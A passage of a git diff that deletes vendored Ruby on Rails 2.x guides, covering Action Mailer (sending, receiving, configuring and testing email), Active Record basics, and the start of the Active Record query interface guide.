-NOTE: Certain exceptions are only rescuable from the +ApplicationController+ class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's "article":http://m.onkey.org/2008/7/20/rescue-from-dispatching on the subject for more information.
-
-h3. Changelog
-
-"Lighthouse Ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17
-
-* February 17, 2009: Yet another proofread by Xavier Noria.
-
-* November 4, 2008: First release version by Tore Darell
diff --git a/vendor/rails/railties/guides/source/action_mailer_basics.textile b/vendor/rails/railties/guides/source/action_mailer_basics.textile
deleted file mode 100644
index ed42f518..00000000
--- a/vendor/rails/railties/guides/source/action_mailer_basics.textile
+++ /dev/null
@@ -1,441 +0,0 @@
-h2. Action Mailer Basics
-
-This guide should provide you with all you need to get started in sending and receiving emails from/to your application, and many internals of Action Mailer. It also covers how to test your mailers.
-
-endprologue.
-
-h3. Introduction
-
-Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating models that inherit from +ActionMailer::Base+ that live alongside other models in +app/models+. Those models have associated views that appear alongside controller views in +app/views+.
-
-h3. Sending Emails
-
-This section will provide a step-by-step guide to creating a mailer and its views.
-
-h4. Walkthrough to Generating a Mailer
-
-h5. Create the Mailer
-
-<shell>
-./script/generate mailer UserMailer
-exists  app/models/
-create  app/views/user_mailer
-exists  test/unit/
-create  test/fixtures/user_mailer
-create  app/models/user_mailer.rb
-create  test/unit/user_mailer_test.rb
-</shell>
-
-So we got the model, the fixtures, and the tests.
-
-h5. Edit the Model
-
-+app/models/user_mailer.rb+ contains an empty mailer:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-end
-</ruby>
-
-Let's add a method called +welcome_email+, that will send an email to the user's registered email address:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  def welcome_email(user)
-    recipients    user.email
-    from          "My Awesome Site Notifications <notifications@example.com>"
-    subject       "Welcome to My Awesome Site"
-    sent_on       Time.now
-    body          {:user => user, :url => "http://example.com/login"}
-  end
-end
-</ruby>
-
-Here is a quick explanation of the options presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of ActionMailer user-settable attributes section.
-
-|recipients| The recipients of the email. It can be a string or, if there are multiple recipients, an array of strings|
-|from| The from address of the email|
-|subject| The subject of the email|
-|sent_on| The timestamp for the email|
-
-The keys of the hash passed to +body+ become instance variables in the view. Thus, in our example the mailer view will have a +@user+ and a +@url+ instance variables available.
-
-h5. Create a Mailer View
-
-Create a file called +welcome_email.text.html.erb+ in +app/views/user_mailer/+. This will be the template used for the email, formatted in HTML:
-
-<erb>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
-  <head>
-    <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
-  </head>
-  <body>
-    <h1>Welcome to example.com, <%=h @user.first_name %></h1>
-    <p>
-      You have successfully signed up to example.com, and your username is: <%= @user.login %>.<br/>
-      To login to the site, just follow this link: <%=h @url %>.
-    </p>
-    <p>Thanks for joining and have a great day!</p>
-  </body>
-</html>
-</erb>
-
-Had we wanted to send text-only emails, the file would have been called +welcome_email.text.plain.erb+. Rails sets the content type of the email to be the one in the filename.
-
-h5. Wire It Up So That the System Sends the Email When a User Signs Up
-
-There are three ways to achieve this. One is to send the email from the controller that sends the email, another is to put it in a +before_create+ callback in the user model, and the last one is to use an observer on the user model. Whether you use the second or third methods is up to you, but staying away from the first is recommended. Not because it's wrong, but because it keeps your controller clean, and keeps all logic related to the user model within the user model. This way, whichever way a user is created (from a web form, or from an API call, for example), we are guaranteed that the email will be sent.
-
-Let's see how we would go about wiring it up using an observer:
-
-In +config/environment.rb+:
-
-<ruby>
-Rails::Initializer.run do |config|
-  # ...
-  config.active_record.observers = :user_observer
-end
-</ruby>
-
-You can place the observer in +app/models+ where it will be loaded automatically by Rails.
-
-Now create a file called +user_observer.rb+ in +app/models+ depending on where you stored it, and make it look like:
-
-<ruby>
-class UserObserver < ActiveRecord::Observer
-  def after_create(user)
-    UserMailer.deliver_welcome_email(user)
-  end
-end
-</ruby>
-
-Notice how we call +deliver_welcome_email+? In Action Mailer we send emails by calling +deliver_&lt;method_name&gt;+. In UserMailer, we defined a method called +welcome_email+, and so we deliver the email by calling +deliver_welcome_email+. The next section will go through how Action Mailer achieves this.
-
-h4. Action Mailer and Dynamic +deliver_&lt;method_name&gt;+ methods
-
-So how does Action Mailer understand this +deliver_welcome_email+ call? If you read the documentation (http://api.rubyonrails.org/files/vendor/rails/actionmailer/README.html), you will find this in the "Sending Emails" section:
-
-You never instantiate your mailer class. Rather, your delivery instance methods are automatically wrapped in class methods that start with the word +deliver_+ followed by the name of the mailer method that you would like to deliver.
-
-So, how exactly does this work?
-
-Looking at the +ActionMailer::Base+ source, you will find this:
-
-<ruby>
-def method_missing(method_symbol, *parameters)#:nodoc:
-  case method_symbol.id2name
-    when /^create_([_a-z]\w*)/  then new($1, *parameters).mail
-    when /^deliver_([_a-z]\w*)/ then new($1, *parameters).deliver!
-    when "new" then nil
-    else super
-  end
-end
-</ruby>
-
-Hence, if the method name starts with +deliver_+ followed by any combination of lowercase letters or underscore, +method_missing+  calls +new+ on your mailer class (+UserMailer+ in our example above), sending the combination of lower case letters or underscore, along with the parameters. The resulting object is then sent the +deliver!+ method, which well... delivers it.
-
-h4. Complete List of Action Mailer User-Settable Attributes
-
-|bcc| The BCC addresses of the email|
-|body| The body of the email. This is either a hash (in which case it specifies the variables to pass to the template when it is rendered), or a string, in which case it specifies the actual body of the message|
-|cc| The CC addresses for the email|
-|charset| The charset to use for the email. This defaults to the +default_charset+ specified for ActionMailer::Base.|
-|content_type| The content type for the email. This defaults to "text/plain" but the filename may specify it|
-|from| The from address of the email|
-|reply_to| The address (if different than the "from" address) to direct replies to this email|
-|headers| Additional headers to be added to the email|
-|implicit_parts_order| The order in which parts should be sorted, based on the content type. This defaults to the value of +default_implicit_parts_order+|
-|mime_version| Defaults to "1.0", but may be explicitly given if needed|
-|recipient| The recipient addresses of the email, either as a string (for a single address) or an array of strings (for multiple addresses)|
-|sent_on| The timestamp on which the message was sent. If unset, the header will be set by the delivery agent|
-|subject| The subject of the email|
-|template| The template to use. This is the "base" template name, without the extension or directory, and may be used to have multiple mailer methods share the same template|
-
-h4. Mailer Views
-
-Mailer views are located in the +app/views/name_of_mailer_class+ directory. The specific mailer view is known to the class because it's name is the same as the mailer method. So for example, in our example from above, our mailer view for the +welcome_email+ method will be in +app/views/user_mailer/welcome_email.text.html.erb+ for the HTML version and +welcome_email.text.plain.erb+ for the plain text version.
-
-To change the default mailer view for your action you do something like:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  def welcome_email(user)
-    recipients    user.email
-    from          "My Awesome Site Notifications<notifications@example.com>"
-    subject       "Welcome to My Awesome Site"
-    sent_on       Time.now
-    body          {:user => user, :url => "http://example.com/login"}
-    content_type  "text/html"
-    # use some_other_template.text.(html|plain).erb instead
-    template "some_other_template"
-end
-</ruby>
-
-h4. Action Mailer Layouts
-
-Just like controller views, you can also have mailer layouts. The layout name needs to end in "_mailer" to be automatically recognized by your mailer as a layout. So in our UserMailer example, we need to call our layout +user_mailer.text.(html|plain).erb+. In order to use a different file just use:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  layout 'awesome' # use awesome.text.(html|plain).erb as the layout
-end
-</ruby>
-
-Just like with controller views, use +yield+ to render the view inside the layout.
-
-h4. Generating URLs in Action Mailer Views
-
-URLs can be generated in mailer views using +url_for+ or named routes.
-Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the +:host+, +:controller+, and +:action+:
-
-<erb>
-<%= url_for(:host => "example.com", :controller => "welcome", :action => "greeting") %>
-</erb>
-
-When using named routes you only need to supply the +:host+:
-
-<erb>
-<%= users_url(:host => "example.com") %>
-</erb>
-
-Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense.
-
-It is also possible to set a default host that will be used in all mailers by setting the +:host+ option in
-the +ActionMailer::Base.default_url_options+ hash as follows:
-
-<erb>
-ActionMailer::Base.default_url_options[:host] = "example.com"
-</erb>
-
-This can also be set as a configuration option in +config/environment.rb+:
-
-<erb>
-config.action_mailer.default_url_options = { :host => "example.com" }
-</erb>
-
-If you set a default +:host+ for your mailers you need to pass +:only_path => false+ to +url_for+. Otherwise it doesn't get included.
-
-h4. Sending Multipart Emails
-
-Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.plain.erb+ and +welcome_email.text.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a "multipart/alternative" email with the HTML and text versions setup as different parts.
-
-A "multipart/alternative" content type tells your email client that there are several representations of the same content available and that the email client is free to choose any one to display to the user.  In this case we are giving a plain text and HTML version of the same message.  But this could also be a text version, and a recording of someone speaking the the same message.  It is important to use "multipart/alternative" only when each part has the same content.
-
-To explicitly specify multipart messages, you can do something like:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  def welcome_email(user)
-    recipients      user.email_address
-    subject         "New account information"
-    from            "system@example.com"
-    content_type    "multipart/alternative"
-
-    part :content_type => "text/html",
-      :body => "<p>html content, can also be the name of an action that you call<p>"
-
-    part "text/plain" do |p|
-      p.body = "text content, can also be the name of an action that you call"
-    end
-  end
-end
-</ruby>
-
-h4. Sending Emails with Attachments
-
-Attachments can be added by using the +attachment+ method.  The +attachment+ method has two variations, you can either pass the body in as an option, or create it within a block.
-
-Usually you will use the variation shown below for the "image/jpeg" attachment, here you just pass in the content type and body as a options hash to the attachment method. However, if you need to do some processing to create the attachment, such as with the PDF below, then the block variation can be used.
-
-This email uses the "multipart/mixed" content type because each part is a different block of content.  This indicates to the email client that it must show all the parts that it can display to the end user.
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  def welcome_email(user)
-    recipients      user.email_address
-    subject         "New account information"
-    from            "system@example.com"
-    content_type    "multipart/mixed"
-
-    attachment :content_type => "image/jpeg",
-      :body => File.read("an-image.jpg")
-
-    attachment "application/pdf" do |a|
-      pdf = generate_your_pdf_here(:name => user)
-      a.body = pdf
-    end
-  end
-end
-</ruby>
-
-h4. Sending Multipart Emails with Attachments
-
-Once you use the +attachment+ method, ActionMailer will no longer automagically use the correct template based on the filename. You must declare which template you are using for each content type via the +part+ method.
-
-Here we are making the email "multipart/mixed" with three top level parts, a "multipart/alternative", an "image/jpeg" and an "application/pdf".  Within the "multipart/alternative" we are nesting a "text/html" and "text/plain" version of the same message.
-
-This tells the email client that each of the top level parts should be shown to the end user, however, the first part has the content type "multipart/alternative" and provides two versions of the same message, a plain text and HTML version.
-
-In the following example, there would be two template files, +welcome_email.text.html.erb+ and +welcome_email.text.plain.erb+ in the +app/views/user_mailer+ folder.
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  def welcome_email(user)
-    recipients      user.email_address
-    subject         "New account information"
-    from            "system@example.com"
-    content_type    "multipart/mixed"
-
-    part "multipart/alternative" do |alternative|
-
-      alternative.part "text/html" do |html|
-        html.body = render_message("welcome_email.text.html", :message => "<h1>HTML content</h1>")
-      end
-
-      alternative.part "text/plain" do |plain|
-        plain.body = render_message("welcome_email.text.plain", :message => "text content")
-      end
-
-    end
-
-    attachment :content_type => "image/jpeg",
-      :body => File.read("an-image.jpg")
-
-    attachment "application/pdf" do |a|
-      pdf = generate_your_pdf_here(:name => user)
-      a.body = pdf
-    end
-
-  end
-end
-</ruby>
-
-h3. Receiving Emails
-
-Receiving and parsing emails with Action Mailer can be a rather complex endeavour. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need:
-
-1. Implement a +receive+ method in your mailer.
-
-2. Configure your email server to forward emails from the address(es) you would like your app to receive to +/path/to/app/script/runner 'UserMailer.receive(STDIN.read)'+.
-
-Once a method called +receive+ is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer +receive+ instance method. Here's an example:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  def receive(email)
-    page = Page.find_by_address(email.to.first)
-    page.emails.create(
-      :subject => email.subject,
-      :body => email.body
-    )
-
-    if email.has_attachments?
-      for attachment in email.attachments
-        page.attachments.create({
-          :file => attachment,
-          :description => email.subject
-        })
-      end
-    end
-  end
-end
-</ruby>
-
-h3. Using Action Mailer Helpers
-
-Action Mailer classes have 4 helper methods available to them:
-
-|add_template_helper(helper_module)|Makes all the (instance) methods in the helper module available to templates rendered through this controller.|
-|helper(*args, &block)| Declare a helper: helper :foo requires 'foo_helper' and includes FooHelper in the template class.  helper FooHelper includes FooHelper in the template class.  helper { def foo() "#{bar} is the very best" end } evaluates the block in the template class, adding method foo.  helper(:three, BlindHelper) { def mice() 'mice' end } does all three. |
-|helper_method| Declare a controller method as a helper.  For example, helper_method :link_to def link_to(name, options) ... end makes the link_to controller method available in the view.|
-|helper_attr| Declare a controller attribute as a helper.  For example, helper_attr :name attr_accessor :name makes the name and name= controller methods available in the view.  The is a convenience wrapper for helper_method.|
-
-h3. Action Mailer Configuration
-
-The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)
-
-|template_root|Determines the base from which template references will be made.|
-|logger|the logger is used for generating information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.|
-|smtp_settings|Allows detailed configuration for :smtp delivery method: :address - Allows you to use a remote mail server. Just change it from its default "localhost" setting.  :port  - On the off chance that your mail server doesn't run on port 25, you can change it.  :domain - If you need to specify a HELO domain, you can do it here.  :user_name - If your mail server requires authentication, set the username in this setting.  :password - If your mail server requires authentication, set the password in this setting.  :authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.|
-|sendmail_settings|Allows you to override options for the :sendmail delivery method.  :location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.  :arguments - The command line arguments. Defaults to -i -t.|
-|raise_delivery_errors|Whether or not errors should be raised if the email fails to be delivered.|
-|delivery_method|Defines a delivery method. Possible values are :smtp (default), :sendmail, and :test.|
-|perform_deliveries|Determines whether deliver_* methods are actually carried out. By default they are, but this can be turned off to help functional testing.|
-|deliveries|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
-|default_charset|The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also  pick a different charset from inside a method with charset.|
-|default_content_type|The default content type used for the main part of the message. Defaults to "text/plain". You can also pick a different content type from inside a method with content_type.|
-|default_mime_version|The default mime version used for the message. Defaults to 1.0. You can also pick a different value from inside a method with mime_version.|
-|default_implicit_parts_order|When a message is built implicitly (i.e. multiple parts are assembled from templates which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to ["text/html", "text/enriched", "text/plain"]. Items that appear first in the array have higher priority in the mail client and appear last in the mime encoded message. You can also pick a different order from inside a method with implicit_parts_order.|
-
-
-h4. Example Action Mailer Configuration
-
-An example would be:
-
-<ruby>
-ActionMailer::Base.delivery_method = :sendmail
-ActionMailer::Base.sendmail_settings = {
-  :location => '/usr/sbin/sendmail',
-  :arguments => '-i -t'
-}
-ActionMailer::Base.perform_deliveries = true
-ActionMailer::Base.raise_delivery_errors = true
-ActionMailer::Base.default_charset = "iso-8859-1"
-</ruby>
-
-h4. Action Mailer Configuration for GMail
-
-Instructions copied from http://http://www.fromjavatoruby.com/2008/11/actionmailer-with-gmail-must-issue.html
-
-First you must install the +action_mailer_tls+ plugin from http://code.openrain.com/rails/action_mailer_tls/, then all you have to do is configure action mailer.
-
-<ruby>
-ActionMailer::Base.smtp_settings = {
-  :address        => "smtp.gmail.com",
-  :port           => 587,
-  :domain         => "domain.com",
-  :user_name      => "user@domain.com",
-  :password       => "password",
-  :authentication => :plain
-}
-</ruby>
-
-h4. Configure Action Mailer to Recognize HAML Templates
-
-In +config/environment.rb+, add the following line:
-
-<ruby>
-ActionMailer::Base.register_template_extension('haml')
-</ruby>
-
-h3. Mailer Testing
-
-By default Action Mailer does not send emails in the test environment. They are just added to the +ActionMailer::Base.deliveries+ array.
-
-Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so:
-
-<ruby>
-class UserMailerTest < ActionMailer::TestCase
-  tests UserMailer
-
-  def test_welcome_email
-    user = users(:some_user_in_your_fixtures)
-
-    # Send the email, then test that it got queued
-    email = UserMailer.deliver_welcome_email(user)
-    assert !ActionMailer::Base.deliveries.empty?
-
-    # Test the body of the sent email contains what we expect it to
-    assert_equal [@user.email], email.to
-    assert_equal "Welcome to My Awesome Site", email.subject
-    assert_match /Welcome to example.com, #{user.first_name}/, email.body
-  end
-end
-</ruby>
-
-In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain the what we expect.
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/25
diff --git a/vendor/rails/railties/guides/source/active_record_basics.textile b/vendor/rails/railties/guides/source/active_record_basics.textile
deleted file mode 100644
index afff892f..00000000
--- a/vendor/rails/railties/guides/source/active_record_basics.textile
+++ /dev/null
@@ -1,135 +0,0 @@
-h2. Active Record Basics
-
-This guide will give you a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make you a stronger and better developer.
-
-After reading this guide we hope that you'll be able to:
-
-* Understand the way Active Record fits into the MVC model.
-* Create basic Active Record models and map them with your database tables.
-* Use your models to execute CRUD (Create, Read, Update and Delete) database operations.
-* Follow the naming conventions used by Rails to make developing database applications easier and obvious.
-* Take advantage of the way Active Record maps it's attributes with the database tables' columns to implement your application's logic.
-* Use Active Record with legacy databases that do not follow the Rails naming conventions.
-
-endprologue.
-
-h3. What's Active Record?
-
-Rails' ActiveRecord is an implementation of Martin Fowler's "Active Record Design Pattern":http://martinfowler.com/eaaCatalog/activeRecord.html. This pattern is based on the idea of creating relations between the database and the application in the following way:
-
-* Each database table is mapped to a class.
-* Each table column is mapped to an attribute of this class.
-* Each instance of this class is mapped to a single row in the database table.
-
-The definition of the Active Record pattern in Martin Fowler's words:
-
-??An object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data.??
-
-h3. Object Relational Mapping
-
-The relation between databases and object-oriented software is called ORM, which is short for "Object Relational Mapping". The purpose of an ORM framework is to minimize the mismatch existent between relational databases and object-oriented software. In applications with a domain model, we have objects that represent both the state of the system and the behavior of the real world elements that were modeled through these objects. Since we need to store the system's state somehow, we can use relational databases, which are proven to be an excellent approach to data management. Usually this may become a very hard thing to do, since we need to create an object-oriented model of everything that lives in the database, from simple columns to complicated relations between different tables. Doing this kind of thing by hand is a tedious and error prone job. This is where an ORM framework comes in.
-
-h3. ActiveRecord as an ORM Framework
-
-ActiveRecord gives us several mechanisms, being the most important ones the ability to:
-
-* Represent models.
-* Represent associations between these models.
-* Represent inheritance hierarchies through related models.
-* Validate models before they get recorded to the database.
-* Perform database operations in an object-oriented fashion.
-
-It's easy to see that the Rails Active Record implementation goes way beyond the basic description of the Active Record Pattern.
-
-h3. Active Record Inside the MVC Model
-
-Active Record plays the role of model inside the MVC structure followed by Rails applications. Since model objects should encapsulate both state and logic of your applications, it's ActiveRecord responsibility to deliver you the easiest possible way to recover this data from the database.
-
-h3. Convention over Configuration in ActiveRecord
-
-When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating ActiveRecord models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason.
-
-h4. Naming Conventions
-
-By default, ActiveRecord uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples:
-
-* Database Table - Plural with underscores separating words i.e. (book_clubs)
-* Model Class - Singular with the first letter of each word capitalized i.e. (BookClub)
-
-|_.Model / Class |_.Table / Schema |
-|Post          |posts|
-|LineItem      |line_items|
-|Deer          |deer|
-|Mouse         |mice|
-|Person        |people|
-
-
-h4. Schema Conventions
-
-ActiveRecord uses naming conventions for the columns in database tables, depending on the purpose of these columns.
-
-* *Foreign keys* - These fields should be named following the pattern table_id i.e. (item_id, order_id). These are the fields that ActiveRecord will look for when you create associations between your models.
-* *Primary keys* - By default, ActiveRecord will use a integer column named "id" as the table's primary key. When using "Rails Migrations":http://guides.rails.info/migrations.html to create your tables, this column will be automatically created.
-
-There are also some optional column names that will create additional features to ActiveRecord instances:
-
-* *created_at / created_on* - ActiveRecord will store the current date and time to this field when creating the record.
-* *updated_at / updated_on* - ActiveRecord will store the current date and times to this field when updating the record.
-* *lock_version* - Adds "optimistic locking":http://api.rubyonrails.com/classes/ActiveRecord/Locking.html to a model.
-* *type* - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.com/classes/ActiveRecord/Base.html
-* *(table_name)_count* - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post.
-
-NOTE: While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
-
-h3. Creating ActiveRecord Models
-
-It's very easy to create ActiveRecord models. All you have to do is to subclass the ActiveRecord::Base class and you're good to go:
-
-<ruby>
-class Product < ActiveRecord::Base; end
-</ruby>
-
-This will create a +Product+ model, mapped to a *products* table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the *products* table was created using a SQL sentence like:
-
-<sql>
-CREATE TABLE products (
-   id int(11) NOT NULL auto_increment,
-   name varchar(255),
-   PRIMARY KEY  (id)
-);
-</sql>
-
-Following the table schema above, you would be able to write code like the following:
-
-<ruby>
-p = Product.new
-p.name = "Some Book"
-puts p.name # "Some Book"
-</ruby>
-
-h3. Overriding the Naming Conventions
-
-What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.
-
-You can use the +ActiveRecord::Base.set_table_name+ method to specify the table name that should be used:
-<ruby>
-class Product < ActiveRecord::Base
-  set_table_name "PRODUCT"
-end
-</ruby>
-
-It's also possible to override the column that should be used as the table's primary key. Use the +ActiveRecord::Base.set_primary_key+ method for that:
-<ruby>
-class Product < ActiveRecord::Base
-  set_primary_key "product_id"
-end
-</ruby>
-
-h3. Validations
-
-ActiveRecord gives the ability to validate the state of your models before they get recorded into the database. There are several methods that you can use to hook into the life-cycle of your models and validate that an attribute value is not empty or follow a specific format and so on. You can learn more about validations in the "Active Record Validations and Callbacks guide":http://guides.rails.info/activerecord_validations_callbacks.html#_overview_of_activerecord_validation.
-
-h3. Callbacks
-
-ActiveRecord callbacks allow you to attach code to certain events in the life-cycle of your models. This way you can add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":http://guides.rails.info/activerecord_validations_callbacks.html#_callbacks.
-
diff --git a/vendor/rails/railties/guides/source/active_record_querying.textile b/vendor/rails/railties/guides/source/active_record_querying.textile
deleted file mode 100644
index 442521cb..00000000
--- a/vendor/rails/railties/guides/source/active_record_querying.textile
+++ /dev/null
@@ -1,969 +0,0 @@
-h2. Active Record Query Interface
-
-This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:
-
-* Find records using a variety of methods and conditions
-* Specify the order, retrieved attributes, grouping, and other properties of the found records
-* Use eager loading to reduce the number of database queries needed for data retrieval
-* Use dynamic finders methods
-* Create named scopes to add custom finding behavior to your models
-* Check for the existence of particular records
-* Perform various calculations on Active Record models
-
-endprologue.
-
-If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
-
-Code examples throughout this guide will refer to one or more of the following models:
-
-TIP: All of the following models uses +id+ as the primary key, unless specified otherwise.
-
-<br />
-
-<ruby>
-class Client < ActiveRecord::Base
-  has_one :address
-  has_one :mailing_address
-  has_many :orders
-  has_and_belongs_to_many :roles
-end
-</ruby>
-
-<ruby>
-class Address < ActiveRecord::Base
-  belongs_to :client
-end
-</ruby>
-
-<ruby>
-class MailingAddress < Address
-end
-</ruby>
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :client, :counter_cache => true
-end
-</ruby>
-
-<ruby>
-class Role < ActiveRecord::Base
-  has_and_belongs_to_many :clients
-end
-</ruby>
-
-Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
-
-h3. Retrieving Objects from the Database
-
-To retrieve objects from the database, Active Record provides a class method called +Model.find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of writing raw SQL.
-
-Primary operation of <tt>Model.find(options)</tt> can be summarized as:
-
-* Convert the supplied options to an equivalent SQL query.
-* Fire the SQL query and retrieve the corresponding results from the database.
-* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
-* Run +after_find+ callbacks if any.
-
-h4. Retrieving a Single Object
-
-Active Record lets you retrieve a single object using three different ways.
-
-h5. Using a Primary Key
-
-Using <tt>Model.find(primary_key, options = nil)</tt>, you can retrieve the object corresponding to the supplied _primary key_ and matching the supplied options (if any). For example:
-
-<ruby>
-# Find the client with primary key (id) 10.
-client = Client.find(10)
-=> #<Client id: 10, name: => "Ryan">
-</ruby>
-
-SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients WHERE (clients.id = 10)
-</sql>
-
-<tt>Model.find(primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception if no matching record is found.
-
-h5. +first+
-
-<tt>Model.first(options = nil)</tt> finds the first record matched by the supplied options. If no +options+ are supplied, the first matching record is returned. For example:
-
-<ruby>
-client = Client.first
-=> #<Client id: 1, name: => "Lifo">
-</ruby>
-
-SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients LIMIT 1
-</sql>
-
-<tt>Model.first</tt> returns +nil+ if no matching record is found. No exception will be raised.
-
-NOTE: +Model.find(:first, options)+ is equivalent to +Model.first(options)+
-
-h5. +last+
-
-<tt>Model.last(options = nil)</tt> finds the last record matched by the supplied options. If no +options+ are supplied, the last matching record is returned. For example:
-
-<ruby>
-# Find the client with primary key (id) 10.
-client = Client.last
-=> #<Client id: 221, name: => "Russel">
-</ruby>
-
-SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
-</sql>
-
-<tt>Model.last</tt> returns +nil+ if no matching record is found. No exception will be raised.
-
-NOTE: +Model.find(:last, options)+ is equivalent to +Model.last(options)+
-
-h4. Retrieving Multiple Objects
-
-h5. Using Multiple Primary Keys
-
-<tt>Model.find(array_of_primary_key, options = nil)</tt> also accepts an array of _primary keys_. An array of all the matching records for the supplied _primary keys_ is returned. For example:
-
-<ruby>
-# Find the clients with primary keys 1 and 10.
-client = Client.find(1, 10) # Or even Client.find([1, 10])
-=> [#<Client id: 1, name: => "Lifo">, #<Client id: 10, name: => "Ryan">]
-</ruby>
-
-SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients WHERE (clients.id IN (1,10))
-</sql>
-
-<tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception unless a matching record is found for <strong>all</strong> of the supplied primary keys.
-
-h5. Find all
-
-<tt>Model.all(options = nil)</tt> finds all the records matching the supplied +options+. If no +options+ are supplied, all rows from the database are returned.
-
-<ruby>
-# Find all the clients.
-clients = Client.all
-=> [#<Client id: 1, name: => "Lifo">, #<Client id: 10, name: => "Ryan">, #<Client id: 221, name: => "Russel">]
-</ruby>
-
-And the equivalent SQL is:
-
-<sql>
-SELECT * FROM clients
-</sql>
-
-<tt>Model.all</tt> returns an empty array +[]+ if no matching record is found. No exception will be raised.
-
-NOTE: +Model.find(:all, options)+ is equivalent to +Model.all(options)+
-
-h4. Retrieving Multiple Objects in Batches
-
-Sometimes you need to iterate over a large set of records. For example to send a newsletter to all users, to export some data, etc. 
-
-The following may seem very straight forward at first:
-
-<ruby>
-# Very inefficient when users table has thousands of rows.
-User.all.each do |user|
-  NewsLetter.weekly_deliver(user)
-end
-</ruby>
-
-But if the total number of rows in the table is very large, the above approach may vary from being under performant to just plain impossible.
-
-This is because +User.all+ makes Active Record fetch _the entire table_, build a model object per row, and keep the entire array in the memory. Sometimes that is just too many objects and demands too much memory.
-
-h5. +find_each+
-
-To efficiently iterate over a large table, Active Record provides a batch finder method called +find_each+:
-
-<ruby>
-User.find_each do |user|
-  NewsLetter.weekly_deliver(user)
-end
-</ruby>
-
-*Configuring the batch size*
-
-Behind the scenes +find_each+ fetches rows in batches of +1000+ and yields them one by one. The size of the underlying batches is configurable via the +:batch_size+ option.
-
-To fetch +User+ records in batch size of +5000+:
-
-<ruby>
-User.find_each(:batch_size => 5000) do |user|
-  NewsLetter.weekly_deliver(user)
-end
-</ruby>
-
-*Starting batch find from a specific primary key*
-
-Records are fetched in ascending order on the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence if the lowest is not the one you need. This may be useful for example to be able to resume an interrupted batch process if it saves the last processed ID as a checkpoint.
-
-To send newsletters only to users with the primary key starting from +2000+:
-
-<ruby>
-User.find_each(:batch_size => 5000, :start => 2000) do |user|
-  NewsLetter.weekly_deliver(user)
-end
